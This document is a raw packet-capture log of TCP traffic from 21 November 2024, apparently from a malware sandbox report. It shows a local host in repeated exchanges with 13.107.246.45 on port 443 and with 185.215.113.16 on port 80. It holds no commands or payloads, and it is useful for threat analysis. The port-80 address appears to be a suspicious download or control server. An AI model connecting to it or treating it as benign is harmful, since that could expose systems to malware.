Nov 21, 2024 14:26:31.953100920 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.953161001 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.953428030 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.953450918 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.953466892 CET	49731	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.953474998 CET	443	49731	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.953958035 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.954065084 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.954118967 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.956896067 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.957009077 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.957123041 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.957338095 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.957371950 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.962327957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.962435007 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.962486982 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.970726013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.970830917 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.970877886 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.979094028 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.979216099 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.979263067 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.983890057 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.983956099 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.984031916 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.984162092 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.984177113 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.984205008 CET	49732	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.984210968 CET	443	49732	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.987126112 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.987149954 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.987225056 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.987402916 CET	49737	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:31.987411022 CET	443	49737	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:31.988159895 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.988317013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:31.988367081 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:31.996370077 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.047666073 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.084827900 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.084873915 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.084943056 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.088614941 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.088680029 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.088829994 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.088916063 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.089040995 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.089071989 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.089090109 CET	49729	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.089098930 CET	443	49729	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.092453003 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.092499018 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.092611074 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.092825890 CET	49738	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.092839003 CET	443	49738	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.119182110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.119261980 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.119307041 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.121556044 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.121604919 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.121738911 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.125358105 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.125402927 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.125444889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.130311966 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.130373955 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.130388021 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.135149956 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.135205984 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.135305882 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.140209913 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.140255928 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.140258074 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.144821882 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.144880056 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.144937038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.149782896 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.149827003 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.149915934 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.154582024 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.154629946 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.154696941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.159492016 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.159540892 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.159574986 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.164273977 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.164336920 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.164381027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.169332981 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.169349909 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.169382095 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.172993898 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.173057079 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.173114061 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.174042940 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.174098015 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.174137115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.175810099 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.175832987 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.175847054 CET	49733	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.175853968 CET	443	49733	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.178463936 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.178494930 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.178585052 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.178713083 CET	49739	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:32.178725958 CET	443	49739	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:32.178898096 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.178942919 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.178986073 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.183723927 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.183783054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.183823109 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.188647985 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.188709974 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.188766003 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.193526030 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.193591118 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.193660021 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.198694944 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.198755026 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.199093103 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.203743935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.203833103 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.204003096 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.208093882 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.208118916 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.208151102 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.212888956 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.212971926 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.287369013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.287388086 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.287456989 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.289252043 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.289422989 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.289468050 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.294085026 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.320811033 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.320941925 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.320959091 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.322762012 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.322819948 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.322942019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.326416016 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.326467037 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.327676058 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.327696085 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.327848911 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.331609964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.331624985 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.331685066 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.334757090 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.334815025 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.334860086 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.339621067 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.339638948 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.339689016 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.342025995 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.342041969 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.342190981 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.345483065 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.345647097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.345701933 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.348800898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.349078894 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.349148035 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.352853060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.353007078 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.353055000 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.356256008 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.356590033 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.356638908 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.359961033 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.359976053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.360044003 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.362595081 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.362874031 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.362929106 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.366342068 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.366857052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.366914034 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.370249987 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.370265007 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.370434046 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.373750925 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.373852968 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.373907089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.376563072 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.376656055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.376714945 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.380251884 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.380266905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.380369902 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.383330107 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.383426905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.383486986 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.386759996 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.386836052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.386888027 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.390202045 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.390288115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.390345097 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.393655062 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.393752098 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.393812895 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.397123098 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.397241116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.397293091 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.400568008 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.400675058 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.400731087 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.404002905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.404170990 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.404223919 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.407473087 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.407488108 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.407548904 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.410923958 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.411125898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.411185026 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.414393902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.414494991 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.414549112 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.417854071 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.418001890 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.418056965 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.421395063 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.421519041 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.421581984 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.424736023 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.424875975 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.424928904 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.428173065 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.428282976 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.428328037 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.431627035 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.431751013 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.431893110 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.435087919 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.485121012 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.487170935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.487212896 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.487257957 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.488101006 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.488202095 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.488240957 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.491255999 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.491440058 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.491481066 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.494623899 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.494748116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.494796991 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.497692108 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.497766972 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.497802019 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.500617027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.521790981 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.521833897 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.521909952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.522768974 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.522818089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.522865057 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.524650097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.524696112 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.524765015 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.527127028 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.527167082 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.527220964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.529532909 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.529570103 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.529607058 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.531891108 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.531975985 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.532001972 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.534203053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.534245968 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.534266949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.536596060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.536647081 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.536711931 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.538906097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.538949966 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.539009094 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.540399075 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.540435076 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.540482044 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.541939020 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.541974068 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.542027950 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.543404102 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.543437004 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.543483019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.544883966 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.544919014 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.544994116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.546394110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.546436071 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.546509027 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.547864914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.547914028 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.547921896 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.549401999 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.549449921 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.549474955 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.550865889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.550911903 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.550962925 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.552414894 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.552463055 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.552464008 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.553827047 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.553881884 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.553947926 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.555363894 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.555412054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.555429935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.556814909 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.556859016 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.556920052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.558265924 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.558311939 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.558370113 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.559720039 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.559762001 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.559824944 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.561553955 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.561573029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.561642885 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.562714100 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.562781096 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.562860966 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.564168930 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.564230919 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.564249992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.565604925 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.565644979 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.565718889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.567099094 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:32.567132950 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:32.567205906 CET	80	49734	185.215.113.16	192.168.2.5
